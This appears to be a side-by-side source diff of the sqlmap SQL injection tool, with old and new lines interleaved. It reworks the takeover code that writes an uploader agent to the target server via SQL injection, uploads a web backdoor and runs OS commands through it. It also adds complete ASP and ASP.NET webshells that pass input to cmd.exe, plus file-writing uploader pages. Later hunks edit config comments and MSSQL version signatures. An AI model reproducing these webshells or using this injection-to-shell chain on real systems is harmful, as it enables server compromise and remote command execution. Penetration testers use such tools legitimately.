# Upload the uploader agent # Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
query = agent.prefixQuery(" %s" % query) requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
query = agent.postfixQuery(query) baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True) uploaderUrl = uploaderUrl.replace("./", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page: if "sqlmap backdoor uploader" not in uplPage:
warnMsg = "unable to upload the uploader " warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -180,65 +198,49 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
logger.info(infoMsg) logger.info(infoMsg)
# Upload the backdoor through the uploader agent # Upload the backdoor through the uploader agent
multipartParams = { if language == "php":
"upload": "1", multipartParams = {
"file": open(backdoorPath, "r"), "upload": "1",
"uploadDir": directory, "file": open(backdoorPath, "r"),
} "uploadDir": directory,
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) }
page = Request.getPage(url=uploaderUrl, multipart=multipartParams) page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page: if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through " warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg) logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
if conf.osShell:
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue continue
infoMsg = "calling OS shell. To quit type " elif language == "asp":
infoMsg += "'x' or 'q' and press ENTER" backdoorRemotePath = "%s/%s" % (directory, backdoorName)
logger.info(infoMsg) backdoorRemotePath = os.path.normpath(backdoorRemotePath)
backdoorContent = open(backdoorPath, "r").read()
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
autoCompletion(osShell=True) if "permission denied" in page.lower():
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
while True: continue
command = None
try: elif language == "jsp":
command = raw_input("os-shell> ") # TODO: add also JSP backdoor/uploader support
except KeyboardInterrupt: pass
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command: backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
continue
if command.lower() in ( "x", "q", "exit", "quit" ): infoMsg = "the backdoor has probably been successfully "
break infoMsg += "uploaded on '%s', go with your browser " % directory
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
self.__webBackdoorRunCmd(backdoorUrl, command) break
return backdoorUrl
def uploadChurrasco(self): def uploadChurrasco(self):
@@ -269,10 +271,17 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
stackedTest() stackedTest()
if kb.stackedTest == False: if kb.stackedTest == False:
return infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
self.initEnv() backdoorUrl = self.__webBackdoorInit()
self.runCmd(conf.osCmd)
if backdoorUrl:
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
else:
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self): def osShell(self):
@@ -283,7 +292,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
infoMsg += "execution" infoMsg += "execution"
logger.info(infoMsg) logger.info(infoMsg)
self.__webBackdoorOsShell() backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorShell(backdoorUrl)
else: else:
self.initEnv() self.initEnv()
self.absOsShell() self.absOsShell()

44
shell/backdoor.asp Normal file
View File

@@ -0,0 +1,44 @@
<!--
ASP_KIT
cmd.asp = Command Execution
by: Maceo
modified: 25/06/2003
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = request("cmd")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

42
shell/backdoor.aspx Normal file
View File

@@ -0,0 +1,42 @@
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->

View File

@@ -1 +1,2 @@
<p><b>sqlmap backdoor uploader</b></p>
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%> <%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>

23
shell/uploader.aspx Normal file
View File

@@ -0,0 +1,23 @@
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>WebForm1</title>
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
<meta name=vs_defaultClientScript content="JavaScript">
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
<INPUT type=file id=File1 name=File1 runat="server" >
<br>
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
</form>
</body>
</HTML>

41
shell/uploader.aspx.vb Normal file
View File

@@ -0,0 +1,41 @@
Public Class WebForm1
Inherits System.Web.UI.Page
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
#Region " Web Form Designer Generated Code "
'This call is required by the Web Form Designer.
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
End Sub
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
'CODEGEN: This method call is required by the Web Form Designer
'Do not modify it using the code editor.
InitializeComponent()
End Sub
#End Region
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Put user code to initialize the page here
End Sub
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
Try
File1.PostedFile.SaveAs(SaveLocation)
Response.Write("The file has been uploaded.")
Catch Exc As Exception
Response.Write("Error: " & Exc.Message)
End Try
Else
Response.Write("Please select a file to upload.")
End If
End Sub
End Class

View File

@@ -62,7 +62,7 @@ aType =
aCred = aCred =
# Use a HTTP proxy to connect to the target url. # Use a HTTP proxy to connect to the target url.
# Syntax: http://url:port # Syntax: http://address:port
proxy = proxy =
# Maximum number of concurrent HTTP requests (handled with Python threads) # Maximum number of concurrent HTTP requests (handled with Python threads)
@@ -250,15 +250,16 @@ user =
# Valid: True or False # Valid: True or False
excludeSysDbs = False excludeSysDbs = False
# First table entry to dump (cursor start) # First query output entry to retrieve
# Valid: integer # Valid: integer
# Default: 0 (sqlmap will start to dump the table entries from the first) # Default: 0 (sqlmap will start to retrieve the query output entries from
# the first)
limitStart = 0 limitStart = 0
# Last table entry to dump (cursor stop) # Last query output entry to retrieve
# Valid: integer # Valid: integer
# Default: 0 (sqlmap will detect the number of table entries and dump # Default: 0 (sqlmap will detect the number of query output entries and
# until the last) # retrieve them until the last)
limitStop = 0 limitStop = 0
# SQL SELECT query to be executed. # SQL SELECT query to be executed.

View File

@@ -28,6 +28,9 @@ import os
import sys import sys
import time import time
import traceback import traceback
import warnings
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
try: try:
import psyco import psyco

View File

@@ -1,12 +1,44 @@
<?xml version="1.0" ?> <?xml version="1.0" ?>
<root> <root>
<signatures release="2008"> <signatures release="2008">
<signature>
<version>
10.00.2714
</version>
<servicepack>
1 + Cumulative Update 2 for Service Pack 1
</servicepack>
</signature>
<signature>
<version>
10.00.2710
</version>
<servicepack>
1 + Cumulative Update 1 for Service Pack 1
</servicepack>
</signature>
<signature>
<version>
10.00.2531
</version>
<servicepack>
1
</servicepack>
</signature>
<signature>
<version>
10.00.1798
</version>
<servicepack>
0 + Cumulative Update 4
</servicepack>
</signature>
<signature> <signature>
<version> <version>
10.00.1787 10.00.1787
</version> </version>
<servicepack> <servicepack>
+ Cumulative Update 3 0 + Cumulative Update 3
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>
@@ -14,7 +46,7 @@
10.00.1779 10.00.1779
</version> </version>
<servicepack> <servicepack>
+Q958186 0+Q958186
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>
@@ -22,7 +54,7 @@
10.00.1771 10.00.1771
</version> </version>
<servicepack> <servicepack>
+Q958611 0+Q958611
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>
@@ -30,12 +62,12 @@
10.00.1750 10.00.1750
</version> </version>
<servicepack> <servicepack>
+Q956718 0+Q956718
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>
<version> <version>
10.0.1600.22 10.00.1600.22
</version> </version>
<servicepack> <servicepack>
0 0
@@ -67,6 +99,22 @@
</signature> </signature>
</signatures> </signatures>
<signatures release="2005"> <signatures release="2005">
<signature>
<version>
9.00.4220
</version>
<servicepack>
3+Q967909
</servicepack>
</signature>
<signature>
<version>
9.00.4216
</version>
<servicepack>
3+Q967101
</servicepack>
</signature>
<signature> <signature>
<version> <version>
9.00.4211 9.00.4211
@@ -88,7 +136,7 @@
9.00.4035 9.00.4035
</version> </version>
<servicepack> <servicepack>
+3 3
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>